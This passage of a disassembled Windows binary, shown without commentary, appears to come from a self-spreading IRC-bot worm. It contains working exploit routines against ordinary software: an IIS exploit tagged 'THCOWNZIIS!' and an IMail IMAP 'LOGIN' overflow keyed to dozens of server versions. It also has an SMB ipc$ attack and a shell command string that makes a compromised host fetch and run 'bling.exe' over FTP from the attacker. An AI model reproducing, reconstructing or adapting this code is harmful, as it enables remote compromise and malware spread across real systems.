ecx pop ecx loc_40CD61: ; CODE XREF: seg000:0040CCFDj push dword ptr [ebp-4] call ds:dword_42B004 ; CloseHandle lea eax, [ebp+0Ch] jmp loc_40CCC0 ; --------------------------------------------------------------------------- loc_40CD72: ; CODE XREF: seg000:0040CD4Fj push ebx lea eax, [ebp-0Ch] push eax push edi push esi push dword ptr [ebp-4] call ds:dword_42B080 ; ReadFile push dword ptr [ebp-8] mov edi, eax call sub_41E2A1 push esi call sub_41E2A1 pop ecx pop ecx push dword ptr [ebp-4] call ds:dword_42B004 ; CloseHandle lea eax, [ebp+0Ch] push eax call sub_40C979 cmp edi, 1 pop ecx jnz loc_40CED6 jmp loc_40CEC5 ; --------------------------------------------------------------------------- loc_40CDB5: ; CODE XREF: seg000:0040CC61j lea eax, [ebp+0Ch] push 1 push eax call sub_41AA0A mov esi, eax cmp esi, 1 pop ecx pop ecx jz loc_40CEC5 xor ebx, ebx push ebx push 1 push 2 call ds:dword_444100 ; socket cmp eax, 0FFFFFFFFh mov [ebp-4], eax jz loc_40CEC5 push 10h lea eax, [ebp-24h] push ebx push eax call sub_41E5F0 add esp, 0Ch push dword ptr [ebp+0A8h] mov word ptr [ebp-24h], 2 call ds:dword_444260 ; htons mov [ebp-22h], ax lea eax, [ebp+0Ch] push eax call ds:dword_44417C ; inet_addr push ebx push esi mov [ebp-20h], eax lea eax, [ebp-0Ch] push eax sub esp, 0BCh push 2Fh pop ecx lea esi, [ebp+8] mov edi, esp rep movsd call sub_40CA2C mov esi, eax add esp, 0C8h cmp esi, ebx mov [ebp-8], esi jnz short loc_40CE47 push dword ptr [ebp-4] jmp short loc_40CEBF ; --------------------------------------------------------------------------- loc_40CE47: ; CODE XREF: seg000:0040CE40j mov edi, [ebp-4] push 10h lea eax, [ebp-24h] push eax push edi call ds:dword_4440AC ; connect cmp eax, 0FFFFFFFFh jnz short loc_40CE5F loc_40CE5C: ; CODE XREF: seg000:0040CE71j push esi jmp short loc_40CEB8 ; --------------------------------------------------------------------------- loc_40CE5F: ; CODE XREF: seg000:0040CE5Aj push ebx push 48h push offset dword_43E108 push edi call ds:dword_4441A0 ; send cmp eax, 0FFFFFFFFh jz short loc_40CE5C push ebx mov esi, 1000h push esi lea eax, [ebp-1138h] push eax push edi call ds:dword_444064 ; recv push ebx push dword ptr [ebp-0Ch] push dword ptr [ebp-8] push edi call ds:dword_4441A0 ; send cmp eax, 0FFFFFFFFh jnz short loc_40CEA0 push dword ptr [ebp-8] jmp short loc_40CEB8 ; --------------------------------------------------------------------------- loc_40CEA0: ; CODE XREF: seg000:0040CE99j push ebx push esi lea eax, [ebp-1138h] push eax push edi call ds:dword_444064 ; recv cmp eax, 0FFFFFFFFh push dword ptr [ebp-8] jnz short loc_40CEC9 loc_40CEB8: ; CODE XREF: seg000:0040CE5Dj ; seg000:0040CE9Ej call sub_41E2A1 pop ecx push edi loc_40CEBF: ; CODE XREF: seg000:0040CE45j call ds:dword_444218 ; closesocket loc_40CEC5: ; CODE XREF: seg000:0040CC78j ; seg000:0040CCC7j ... xor eax, eax jmp short loc_40CF19 ; --------------------------------------------------------------------------- loc_40CEC9: ; CODE XREF: seg000:0040CEB6j call sub_41E2A1 pop ecx push edi call ds:dword_444218 ; closesocket loc_40CED6: ; CODE XREF: seg000:0040CDAAj push 1F4h call ds:dword_42B014 ; Sleep push 7C7h sub esp, 0BCh push 2Fh pop ecx lea esi, [ebp+8] mov edi, esp rep movsd call sub_41B128 add esp, 0C0h cmp al, 1 jnz short loc_40CF16 mov eax, [ebp+0B0h] shl eax, 6 lea eax, dword_43D888[eax] inc dword ptr [eax] loc_40CF16: ; CODE XREF: seg000:0040CF03j xor eax, eax inc eax loc_40CF19: ; CODE XREF: seg000:0040CEC7j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 1Ch push esi push edi mov esi, 160h push esi mov dword ptr [ebp-4], 6741A1CDh call sub_41E5D3 push esi mov edi, eax push 0 push edi call sub_41E5F0 push 12h push offset dword_43E788 push edi call sub_41F400 lea esi, [edi+11h] push offset dword_432E40 push esi call sub_41EED0 push offset aThcownziis ; "THCOWNZIIS!" push esi call sub_41EED0 not dword ptr [ebp-4] push 4 lea eax, [ebp-4] push eax push esi call sub_41F2C0 xor eax, eax mov ax, word ptr ds:dword_4D525C add esp, 38h push eax call ds:dword_444260 ; htons push dword ptr [ebp+8] mov [ebp-8], eax call sub_4023C9 pop ecx push eax call ds:dword_44417C ; inet_addr xor dword ptr [ebp-8], 9393h mov [ebp-0Ch], eax xor dword ptr [ebp-0Ch], 93939393h push 2 lea eax, [ebp-8] push eax push offset word_43E7A2 call sub_41F400 push 4 lea eax, [ebp-0Ch] push eax push offset dword_43E7A4 call sub_41F400 push offset byte_43E7A0 push esi call sub_41EED0 add esp, 20h push 6 push 1 push 2 call ds:dword_444100 ; socket mov esi, eax lea eax, [ebp+0Ch] push eax call ds:dword_44417C ; inet_addr push 1BBh mov [ebp-18h], eax mov word ptr [ebp-1Ch], 2 call ds:dword_444260 ; htons mov [ebp-1Ah], ax push 10h lea eax, [ebp-1Ch] push eax push esi call ds:dword_4440AC ; connect test eax, eax jnz short loc_40D04F push eax push 15Fh push edi push esi call ds:dword_4441A0 ; send push esi call ds:dword_444218 ; closesocket push edi call sub_41E2A1 mov eax, [ebp+0B0h] shl eax, 6 lea eax, dword_43D888[eax] inc dword ptr [eax] xor eax, eax pop ecx inc eax jmp short loc_40D051 ; --------------------------------------------------------------------------- loc_40D04F: ; CODE XREF: seg000:0040D01Bj xor eax, eax loc_40D051: ; CODE XREF: seg000:0040D04Dj pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D055 proc near ; CODE XREF: seg000:0040D728p var_800 = byte ptr -800h var_400 = byte ptr -400h arg_0 = dword ptr 8 arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 800h push esi push edi mov edi, [ebp+arg_BC] push 0 mov esi, 400h push esi lea eax, [ebp+var_800] push eax push edi call ds:dword_444064 ; recv cmp eax, 0FFFFFFFFh jz loc_40D128 movzx eax, word ptr ds:dword_4D1FE4 push eax push [ebp+arg_0] call sub_4023C9 pop ecx push eax push offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user 1 1 >> o "... lea eax, [ebp+var_400] push esi push eax call sub_41E6FE add esp, 14h lea eax, [ebp+var_400] push 0 push eax call sub_41E1C0 pop ecx push eax lea eax, [ebp+var_400] push eax push edi call ds:dword_4441A0 ; send cmp eax, 0FFFFFFFFh jz short loc_40D128 push 1F4h call ds:dword_42B014 ; Sleep push offset aBling_exe ; "bling.exe\r\n" lea eax, [ebp+var_400] push esi push eax call sub_41E6FE add esp, 0Ch lea eax, [ebp+var_400] push 0 push eax call sub_41E1C0 pop ecx push eax lea eax, [ebp+var_400] push eax push edi call ds:dword_4441A0 ; send cmp eax, 0FFFFFFFFh jz short loc_40D128 push 0 push esi push offset dword_4D4BB0 push edi call ds:dword_444064 ; recv push edi call ds:dword_444218 ; closesocket loc_40D128: ; CODE XREF: sub_40D055+2Aj ; sub_40D055+78j ... pop edi pop esi leave retn sub_40D055 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 12Ch push ebx push esi push edi mov dword ptr [ebp-14h], 10h call sub_41ECDE cdq mov ecx, 3E8h idiv ecx lea eax, [ebp+0Ch] push eax mov edi, edx add edi, 7D0h mov [ebp-20h], edi call ds:dword_444168 ; gethostbyname mov esi, eax test esi, esi jnz short loc_40D17F lea eax, [ebp+0Ch] push eax call ds:dword_42B218 ; inet_addr cmp eax, 0FFFFFFFFh mov ds:dword_4D4CC0, eax jz loc_40D757 loc_40D17F: ; CODE XREF: seg000:0040D165j push 6 push 1 push 2 pop ebx push ebx call ds:dword_444100 ; socket test eax, eax mov ds:dword_4D4CBC, eax jz loc_40D757 test esi, esi jz short loc_40D1B6 movsx eax, word ptr [esi+0Ah] push eax mov eax, [esi+0Ch] push dword ptr [eax] lea eax, [ebp-0Ch] push eax call sub_41F400 add esp, 0Ch jmp short loc_40D1BE ; --------------------------------------------------------------------------- loc_40D1B6: ; CODE XREF: seg000:0040D19Cj mov eax, ds:dword_4D4CC0 mov [ebp-0Ch], eax loc_40D1BE: ; CODE XREF: seg000:0040D1B4j test esi, esi jz short loc_40D1CC mov ax, [esi+8] mov [ebp-10h], ax jmp short loc_40D1D0 ; --------------------------------------------------------------------------- loc_40D1CC: ; CODE XREF: seg000:0040D1C0j mov [ebp-10h], bx loc_40D1D0: ; CODE XREF: seg000:0040D1CAj push dword ptr [ebp+0A8h] call ds:dword_444260 ; htons push dword ptr [ebp+8] mov [ebp-0Eh], ax call sub_4023C9 pop ecx push eax call ds:dword_44417C ; inet_addr push edi mov esi, eax call ds:dword_444260 ; htons movzx eax, ax xor eax, 7C1Fh mov [ebp-1Ch], eax push 4 lea eax, [ebp-18h] push eax xor esi, 7C1F1AE0h push offset dword_43E9A8 mov [ebp-18h], esi call sub_41F400 push ebx lea eax, [ebp-1Ch] push eax push offset word_43E9AE call sub_41F400 push 386h push 90h mov edi, offset dword_4D4CC8 push edi call sub_41E5F0 push 0Ch push offset aA01Login ; "a01 LOGIN \"&" push edi call sub_41F400 push 138h push offset dword_43E8F0 push offset dword_4D4D74 call sub_41F400 push 2Ah push offset dword_43EAC8 push offset dword_4D4F94 call sub_41F400 add esp, 48h push 0Bh push offset aWe0wn ; "\" \"We0wn\"\r\n" push offset word_4D504E call sub_41F400 add esp, 0Ch push 10h lea eax, [ebp-10h] push eax push ds:dword_4D4CBC call ds:dword_4440AC ; connect test eax, eax mov ds:dword_4D4CB8, eax jnz loc_40D757 push eax push 100h mov esi, offset dword_4D4BB0 push esi push ds:dword_4D4CBC call ds:dword_444064 ; recv push offset aImail ; "IMail" push esi mov ds:dword_4D4CB0, eax call sub_41F090 test eax, eax pop ecx pop ecx jz loc_40D7DE push offset a7_04 ; "7.04" push esi call sub_41F090 test eax, eax pop ecx pop ecx jz short loc_40D30D push ebx push offset dword_43EA2C push offset word_4D4F82 call sub_41F400 push 4 push offset dword_43EA30 loc_40D303: ; CODE XREF: seg000:0040D335j ; seg000:0040D370j ... push offset dword_4D4F84 jmp loc_40D635 ; --------------------------------------------------------------------------- loc_40D30D: ; CODE XREF: seg000:0040D2EAj push offset a7_05 ; "7.05" push esi call sub_41F090 test eax, eax pop ecx pop ecx jz short loc_40D337 push ebx push offset dword_43EA2C push offset word_4D4F82 call sub_41F400 push 4 push offset dword_43EA38 jmp short loc_40D303 ; --------------------------------------------------------------------------- loc_40D337: ; CODE XREF: seg000:0040D31Cj push offset a7_06 ; "7.06" push esi call sub_41F090 test eax, eax pop ecx pop ecx jnz short loc_40D359 push offset a7_07 ; "7.07" push esi call sub_41F090 test eax, eax pop ecx pop ecx jz short loc_40D372 loc_40D359: ; CODE XREF: seg000:0040D346j push ebx push offset dword_43EA2C push offset word_4D4F82 call sub_41F400 push 4 push offset dword_43EA40 jmp short loc_40D303 ; --------------------------------------------------------------------------- loc_40D372: ; CODE XREF: seg000:0040D357j push offset a7_10 ; "7.10" push esi call sub_41F090 test eax, eax pop ecx pop ecx jnz short loc_40D394 push offset a7_11 ; "7.11" push esi call sub_41F090 test eax, eax pop ecx pop ecx jz short loc_40D3B0 loc_40D394: ; CODE XREF: seg000:0040D381j push ebx push offset dword_43EA2C push offset word_4D4F82 call sub_41F400 push 4 push offset dword_43EA48 jmp loc_40D303 ; --------------------------------------------------------------------------- loc_40D3B0: ; CODE XREF: seg000:0040D392j push offset a7_12 ; "7.12" push esi call sub_41F090 test eax, eax pop ecx pop ecx jz short loc_40D3DD push ebx push offset dword_43EA2C push offset word_4D4F82 call sub_41F400 push 4 push offset dword_43EA50 jmp loc_40D303 ; --------------------------------------------------------------------------- loc_40D3DD: ; CODE XREF: seg000:0040D3BFj push offset a7_13 ; "7.13" push esi call sub_41F090 test eax, eax pop ecx pop ecx jnz short loc_40D3FF push offset a7_14 ; "7.14" push esi call sub_41F090 test eax, eax pop ecx pop ecx jz short loc_40D41B loc_40D3FF: ; CODE XREF: seg000:0040D3ECj push ebx push offset dword_43EA2C push offset word_4D4F82 call sub_41F400 push 4 push offset dword_43EA58 jmp loc_40D303 ; --------------------------------------------------------------------------- loc_40D41B: ; CODE XREF: seg000:0040D3FDj push offset a7_15 ; "7.15" push esi call sub_41F090 test eax, eax pop ecx pop ecx jz short loc_40D448 push ebx push offset dword_43EA2C push offset word_4D4F82 call sub_41F400 push 4 push offset dword_43EA60 jmp loc_40D303 ; --------------------------------------------------------------------------- loc_40D448: ; CODE XREF: seg000:0040D42Aj push offset a8_00 ; "8.00" push esi call sub_41F090 test eax, eax pop ecx pop ecx jz short loc_40D475 push ebx push offset dword_43EA2C push offset word_4D4F82 call sub_41F400 push 4 push offset dword_43EA68 jmp loc_40D303 ; --------------------------------------------------------------------------- loc_40D475: ; CODE XREF: seg000:0040D457j push offset a8_01 ; "8.01" push esi call sub_41F090 test eax, eax pop ecx pop ecx jz short loc_40D4A2 push ebx push offset dword_43EA2C push offset word_4D4F82 call sub_41F400 push 4 push offset dword_43EA70 jmp loc_40D303 ; --------------------------------------------------------------------------- loc_40D4A2: ; CODE XREF: seg000:0040D484j push offset a8_02 ; "8.02" push esi call sub_41F090 test eax, eax pop ecx pop ecx jz short loc_40D4CF push ebx push offset dword_43EA2C push offset word_4D4F82 call sub_41F400 push 4 push offset dword_43EA78 jmp loc_40D303 ; --------------------------------------------------------------------------- loc_40D4CF: ; CODE XREF: seg000:0040D4B1j push offset a8_03 ; "8.03" push esi call sub_41F090 test eax, eax pop ecx pop ecx jz short loc_40D4FC push ebx push offset dword_43EA2C push offset word_4D4F82 call sub_41F400 push 4 push offset dword_43EA80 jmp loc_40D303 ; --------------------------------------------------------------------------- loc_40D4FC: ; CODE XREF: seg000:0040D4DEj push offset a8_04 ; "8.04" push esi call sub_41F090 test eax, eax pop ecx pop ecx jz short loc_40D529 push ebx push offset dword_43EA2C push offset word_4D4F82 call sub_41F400 push 4 push offset dword_43EA88 jmp loc_40D303 ; --------------------------------------------------------------------------- loc_40D529: ; CODE XREF: seg000:0040D50Bj push offset a8_05 ; "8.05" push esi call sub_41F090 test eax, eax pop ecx pop ecx jz short loc_40D556 push ebx push offset dword_43EA2C push offset word_4D4F82 call sub_41F400 push 4 push offset dword_43EA90 jmp loc_40D303 ; --------------------------------------------------------------------------- loc_40D556: ; CODE XREF: seg000:0040D538j push offset a8_10 ; "8.10" push esi call sub_41F090 test eax, eax pop ecx pop ecx jz short loc_40D583 push ebx push offset dword_43EA2C push offset word_4D4F7A call sub_41F400 push 4 push offset dword_43EA98 jmp loc_40D630 ; --------------------------------------------------------------------------- loc_40D583: ; CODE XREF: seg000:0040D565j push offset a8_11 ; "8.11" push esi call sub_41F090 test eax, eax pop ecx pop ecx jz short loc_40D5B0 push ebx push offset dword_43EA2C push offset word_4D4F7A call sub_41F400 push 4 push offset dword_43EAA0 jmp loc_40D630 ; --------------------------------------------------------------------------- loc_40D5B0: ; CODE XREF: seg000:0040D592j push offset a8_12 ; "8.12" push esi call sub_41F090 test eax, eax pop ecx pop ecx jz short loc_40D5DA push ebx push offset dword_43EA2C push offset word_4D4F7A call sub_41F400 push 4 push offset dword_43EAA8 jmp short loc_40D630 ; --------------------------------------------------------------------------- loc_40D5DA: ; CODE XREF: seg000:0040D5BFj push offset a8_13 ; "8.13" push esi call sub_41F090 test eax, eax pop ecx pop ecx jz short loc_40D604 push ebx push offset dword_43EA2C push offset word_4D4F7A call sub_41F400 push 4 push offset dword_43EAB0 jmp short loc_40D630 ; --------------------------------------------------------------------------- loc_40D604: ; CODE XREF: seg000:0040D5E9j push offset a8_14 ; "8.14" push esi call sub_41F090 test eax, eax pop ecx pop ecx jz loc_40D75E push ebx push offset dword_43EA2C push offset word_4D4F7A call sub_41F400 push 4 push offset dword_43EAB8 loc_40D630: ; CODE XREF: seg000:0040D57Ej ; seg000:0040D5ABj ... push offset dword_4D4F7C loc_40D635: ; CODE XREF: seg000:0040D308j call sub_41F400 add esp, 18h loc_40D63D: ; CODE XREF: seg000:0040D7EDj mov esi, ds:dword_42B014 push 64h call esi ; Sleep push 0 push edi call sub_41E1C0 pop ecx push eax push edi push ds:dword_4D4CBC call ds:dword_4441A0 ; send push 64h call esi ; Sleep push dword ptr [ebp-20h] xor edi, edi mov [ebp-0Ch], edi call ds:dword_444260 ; htons push 6 xor esi, esi inc esi push esi push ebx mov [ebp-0Eh], ax call ds:dword_444100 ; socket push 10h lea ecx, [ebp-10h] push ecx push eax mov ds:dword_4D4CB4, eax call ds:dword_4441E4 ; bind cmp eax, edi mov ds:dword_4D4CB8, eax jnz loc_40D757 push esi push ds:dword_4D4CB4 call ds:dword_444230 ; listen cmp eax, edi mov ds:dword_4D4CB8, eax jnz loc_40D757 mov eax, ds:dword_4D4CB4 mov [ebp-128h], eax lea eax, [ebp-28h] push eax push edi push edi lea eax, [ebp-12Ch] push eax push esi mov dword ptr [ebp-28h], 8 mov [ebp-24h], edi mov [ebp-12Ch], esi call ds:dword_42B21C ; select test eax, eax jle short loc_40D757 lea eax, [ebp-14h] push eax lea eax, [ebp-10h] push eax push ds:dword_4D4CB4 call ds:dword_4440BC ; accept mov ecx, [ebp+0B0h] shl ecx, 6 push eax lea ecx, dword_43D888[ecx] inc dword ptr [ecx] sub esp, 0BCh push 2Fh pop ecx lea esi, [ebp+8] mov edi, esp mov ds:dword_4D50C8, eax rep movsd call sub_40D055 add esp, 0C0h push ds:dword_4D4CBC call ds:dword_444218 ; closesocket push ds:dword_4D4CB4 call ds:dword_444218 ; closesocket push ds:dword_4D50C8 loc_40D751: ; CODE XREF: seg000:0040D7F9j call ds:dword_444218 ; closesocket loc_40D757: ; CODE XREF: seg000:0040D179j ; seg000:0040D194j ... pop edi pop esi xor eax, eax pop ebx leave retn ; --------------------------------------------------------------------------- loc_40D75E: ; CODE XREF: seg000:0040D613j push offset a8_15 ; "8.15" push esi call sub_41F090 test eax, eax pop ecx pop ecx jz short loc_40D78B push ebx push offset dword_43EA2C push offset word_4D4F7A call sub_41F400 push 4 push offset dword_43EAC0 jmp loc_40D630 ; --------------------------------------------------------------------------- loc_40D78B: ; CODE XREF: seg000:0040D76Dj push offset aHotfix2 ; "hotfix2" push esi call sub_41F090 test eax, eax pop ecx pop ecx jnz short loc_40D7F3 push offset a4_0 ; "4.0" push esi call sub_41F090 test eax, eax pop ecx pop ecx jnz short loc_40D7F3 push offset a5_0 ; "5.0" push esi call sub_41F090 test eax, eax pop ecx pop ecx jnz short loc_40D7F3 push offset a6_0 ; "6.0" push esi call sub_41F090 test eax, eax pop ecx pop ecx jnz short loc_40D7F3 push offset a7_0 ; "7.0" push esi call sub_41F090 pop ecx pop ecx jmp short loc_40D7F3 ; --------------------------------------------------------------------------- loc_40D7DE: ; CODE XREF: seg000:0040D2D5j push offset aImail ; "IMail" push esi call sub_41F090 test eax, eax pop ecx pop ecx jnz loc_40D63D loc_40D7F3: ; CODE XREF: seg000:0040D79Aj ; seg000:0040D7ABj ... push ds:dword_4D4CBC jmp loc_40D751 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D7FE proc near ; CODE XREF: seg000:0040DD59p ; seg000:0040DD7Bp ... var_89B4 = byte ptr -89B4h var_894C = byte ptr -894Ch var_68DC = byte ptr -68DCh var_686C = byte ptr -686Ch var_5DA8 = byte ptr -5DA8h var_4804 = byte ptr -4804h var_4803 = byte ptr -4803h var_3770 = byte ptr -3770h var_2CAC = byte ptr -2CACh var_2CAB = byte ptr -2CABh var_2CA8 = byte ptr -2CA8h var_2C2C = byte ptr -2C2Ch var_245C = byte ptr -245Ch var_1FB1 = byte ptr -1FB1h var_1CC4 = byte ptr -1CC4h var_14E0 = byte ptr -14E0h var_14D0 = byte ptr -14D0h var_11AC = byte ptr -11ACh var_11A8 = byte ptr -11A8h var_119C = byte ptr -119Ch var_F14 = byte ptr -0F14h var_E74 = byte ptr -0E74h var_768 = dword ptr -768h var_758 = byte ptr -758h var_744 = byte ptr -744h var_104 = byte ptr -104h var_103 = byte ptr -103h var_B4 = byte ptr -0B4h var_B1 = byte ptr -0B1h var_87 = byte ptr -87h var_85 = byte ptr -85h var_84 = byte ptr -84h var_3C = byte ptr -3Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h arg_C0 = dword ptr 0C8h push ebp mov ebp, esp mov eax, 89B4h call sub_41EA20 mov eax, ds:dword_432F94 push ebx mov [ebp+var_10], eax mov eax, ds:dword_432F98 push esi mov [ebp+var_C], eax push edi lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_3C] push offset aSIpc ; "\\\\%s\\ipc$" push eax call sub_41E6A6 add esp, 0Ch xor ebx, ebx xor eax, eax loc_40D837: ; CODE XREF: sub_40D7FE+4Fj mov cl, [ebp+eax+var_3C] mov [ebp+eax*2+var_104], cl mov [ebp+eax*2+var_103], bl inc eax cmp eax, 28h jl short loc_40D837 push 60h lea eax, [ebp+var_B4] push offset dword_43EFF8 push eax call sub_41F400 lea eax, [ebp+var_3C] push eax call sub_41E1C0 shl eax, 1 push eax lea eax, [ebp+var_104] push eax lea eax, [ebp+var_84] push eax call sub_41F400 add esp, 1Ch push 9 lea eax, [ebp+var_3C] push (offset aC_4+3) push eax call sub_41E1C0 pop ecx lea eax, [ebp+eax*2+var_85] push eax call sub_41F400 lea eax, [ebp+var_3C] push eax call sub_41E1C0 add al, 1Ah shl al, 1 mov [ebp+var_1], al push 1 lea eax, [ebp+var_1] push eax lea eax, [ebp+var_B1] push eax call sub_41F400 lea eax, [ebp+var_3C] push eax call sub_41E1C0 shl al, 1 add al, 9 mov [ebp+var_2], al push 1 lea eax, [ebp+var_2] push eax lea eax, [ebp+var_87] push eax call sub_41F400 xor eax, eax mov ax, word ptr ds:dword_43F400 add esp, 2Ch push eax call ds:dword_444260 ; htons push 2 xor eax, 9999h mov [ebp+var_8], eax lea eax, [ebp+var_8] push eax push offset dword_43ECF0 call sub_41F400 add esp, 0Ch cmp [ebp+arg_C0], ebx jz loc_40D9FE mov edi, 0DACh push edi lea eax, [ebp+var_1CC4] push 90h push eax call sub_41E5F0 mov eax, [ebp+arg_C0] imul eax, 3Ch lea eax, dword_43F440[eax] push 4 push eax mov [ebp+var_14], eax lea eax, [ebp+var_14E0] push eax call sub_41F400 mov esi, offset dword_43EC40 push esi call sub_41E1C0 push eax lea eax, [ebp+var_14D0] push esi push eax call sub_41F400 push 4 lea eax, [ebp+var_11AC] push offset dword_432F80 push eax call sub_41F400 push 4 push [ebp+var_14] lea eax, [ebp+var_11A8] push eax call sub_41F400 add esp, 40h push esi call sub_41E1C0 push eax lea eax, [ebp+var_119C] push esi push eax call sub_41F400 add esp, 10h xor eax, eax loc_40D9B0: ; CODE XREF: sub_40D7FE+1CAj mov cl, [ebp+eax+var_1CC4] mov [ebp+eax*2+var_4804], cl mov [ebp+eax*2+var_4803], bl inc eax cmp eax, edi jl short loc_40D9B0 mov esi, 1C52h push esi lea eax, [ebp+var_89B4] push 31h push eax mov [ebp+var_2CAC], bl mov [ebp+var_2CAB], bl call sub_41E5F0 push esi lea eax, [ebp+var_68DC] push 31h push eax call sub_41E5F0 add esp, 18h jmp short loc_40DA55 ; --------------------------------------------------------------------------- loc_40D9FE: ; CODE XREF: sub_40D7FE+11Bj push 7D0h lea eax, [ebp+var_F14] push 90h push eax call sub_41E5F0 mov esi, offset dword_43EC40 push esi call sub_41E1C0 push eax lea eax, [ebp+var_E74] push esi push eax call sub_41F400 lea eax, [ebp+var_10] push eax call sub_41E1C0 push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_758] push eax call sub_41F400 mov eax, ds:dword_43F440 add esp, 2Ch mov [ebp+var_768], eax loc_40DA55: ; CODE XREF: sub_40D7FE+1FEj push 0E29h lea eax, [ebp+var_2CA8] push 31h push eax call sub_41E5F0 movsx eax, [ebp+var_1] mov edi, [ebp+arg_BC] add esp, 0Ch push ebx add eax, 4 push eax lea eax, [ebp+var_B4] push eax push edi call ds:dword_4441A0 ; send cmp eax, 0FFFFFFFFh jnz short loc_40DA94 loc_40DA8D: ; CODE XREF: sub_40D7FE+2BDj ; sub_40D7FE+2E4j ... xor al, al jmp loc_40DC42 ; --------------------------------------------------------------------------- loc_40DA94: ; CODE XREF: sub_40D7FE+28Dj push ebx mov esi, 640h push esi lea eax, [ebp+var_744] push eax push edi call ds:dword_444064 ; recv push ebx push 68h push offset dword_43F060 push edi call ds:dword_4441A0 ; send cmp eax, 0FFFFFFFFh jz short loc_40DA8D push ebx push esi lea eax, [ebp+var_744] push eax push edi call ds:dword_444064 ; recv push ebx push 0A0h push offset dword_43F0D0 push edi call ds:dword_4441A0 ; send cmp eax, 0FFFFFFFFh jz short loc_40DA8D push ebx push esi lea eax, [ebp+var_744] push eax push edi call ds:dword_444064 ; recv cmp [ebp+arg_C0], ebx jz loc_40DBAA push 68h lea eax, [ebp+var_89B4] push offset dword_43F290 push eax call sub_41F400 push 1B5Ah lea eax, [ebp+var_4804] push eax lea eax, [ebp+var_894C] push eax call sub_41F400 push 70h lea eax, [ebp+var_68DC] push offset dword_43F300 push eax call sub_41F400 push 0A5Eh lea eax, [ebp+var_3770] push eax lea eax, [ebp+var_686C] push eax call sub_41F400 push 84h lea eax, [ebp+var_5DA8] push offset dword_43F378 push eax call sub_41F400 add esp, 3Ch push ebx push 10FCh lea eax, [ebp+var_89B4] push eax push edi call ds:dword_4441A0 ; send cmp eax, 0FFFFFFFFh jz loc_40DA8D push ebx push esi lea eax, [ebp+var_744] push eax push edi call ds:dword_444064 ; recv push ebx push 0FDCh lea eax, [ebp+var_68DC] jmp short loc_40DC00 ; --------------------------------------------------------------------------- loc_40DBAA: ; CODE XREF: sub_40D7FE+2FCj push 7Ch lea eax, [ebp+var_2CA8] push offset dword_43F178 push eax call sub_41F400 push 7D0h lea eax, [ebp+var_F14] push eax lea eax, [ebp+var_2C2C] push eax call sub_41F400 push 90h lea eax, [ebp+var_245C] push offset off_43F1F8 push eax call sub_41F400 add esp, 24h push ebx mov [ebp+var_1FB1], bl push 0CF8h lea eax, [ebp+var_2CA8] loc_40DC00: ; CODE XREF: sub_40D7FE+3AAj push eax push edi call ds:dword_4441A0 ; send cmp eax, 0FFFFFFFFh jz loc_40DA8D push 12Ch call ds:dword_42B014 ; Sleep push ds:dword_43F400 lea esi, [ebp+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_41B128 add esp, 0C0h test al, al setnz al loc_40DC42: ; CODE XREF: sub_40D7FE+291j pop edi pop esi pop ebx leave retn sub_40D7FE endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 654h push ebx push esi push edi xor edi, edi push 10h lea eax, [ebp-14h] push edi push eax mov [ebp-4], edi call sub_41E5F0 add esp, 0Ch lea eax, [ebp+0Ch] push eax mov word ptr [ebp-14h], 2 call ds:dword_44417C ; inet_addr push dword ptr [ebp+0A8h] mov [ebp-10h], eax call ds:dword_444260 ; htons push 6 push 1 push 2 mov [ebp-12h], ax call ds:dword_444100 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40DD40 push 10h lea eax, [ebp-14h] push eax push ebx call ds:dword_4440AC ; connect cmp eax, 0FFFFFFFFh jz loc_40DD40 push edi push 89h push offset dword_43EDD8 push ebx call ds:dword_4441A0 ; send cmp eax, 0FFFFFFFFh jz short loc_40DD40 push edi mov esi, 640h push esi lea eax, [ebp-654h] push eax push ebx call ds:dword_444064 ; recv push edi push 0A8h push offset dword_43EE68 push ebx call ds:dword_4441A0 ; send cmp eax, 0FFFFFFFFh jz short loc_40DD40 push edi push esi lea eax, [ebp-654h] push eax push ebx call ds:dword_444064 ; recv push edi push 0DEh push offset dword_43EF18 push ebx call ds:dword_4441A0 ; send cmp eax, 0FFFFFFFFh jz short loc_40DD40 push edi push esi lea eax, [ebp-654h] push eax push ebx call ds:dword_444064 ; recv movsx eax, byte ptr [ebp-610h] sub eax, 30h jz short loc_40DD68 dec eax jz short loc_40DD47 loc_40DD40: ; CODE XREF: seg000:0040DC9Bj ; seg000:0040DCB1j ... xor eax, eax jmp loc_40DDD4 ; --------------------------------------------------------------------------- loc_40DD47: ; CODE XREF: seg000:0040DD3Ej push edi push ebx sub esp, 0BCh push 2Fh pop ecx lea esi, [ebp+8] mov edi, esp rep movsd call sub_40D7FE add esp, 0C4h push 0 jmp short loc_40DD8C ; --------------------------------------------------------------------------- loc_40DD68: ; CODE XREF: seg000:0040DD3Bj push 2 push ebx sub esp, 0BCh push 2Fh pop ecx lea esi, [ebp+8] mov edi, esp rep movsd call sub_40D7FE add esp, 0C4h test al, al jnz short loc_40DDAC push 1 loc_40DD8C: ; CODE XREF: seg000:0040DD66j push ebx sub esp, 0BCh push 2Fh pop ecx lea esi, [ebp+8] mov edi, esp rep movsd call sub_40D7FE add esp, 0C4h test al, al jz short loc_40DDB3 loc_40DDAC: ; CODE XREF: seg000:0040DD88j mov dword ptr [ebp-4], 1 loc_40DDB3: ; CODE XREF: seg000:0040DDAAj push ebx call ds:dword_444218 ; closesocket cmp dword ptr [ebp-4], 0 jz short loc_40DDD1 mov eax, [ebp+0B0h] shl eax, 6 lea eax, dword_43D888[eax] inc dword ptr [eax] loc_40DDD1: ; CODE XREF: seg000:0040DDBEj xor eax, eax inc eax loc_40DDD4: ; CODE XREF: seg000:0040DD42j pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N 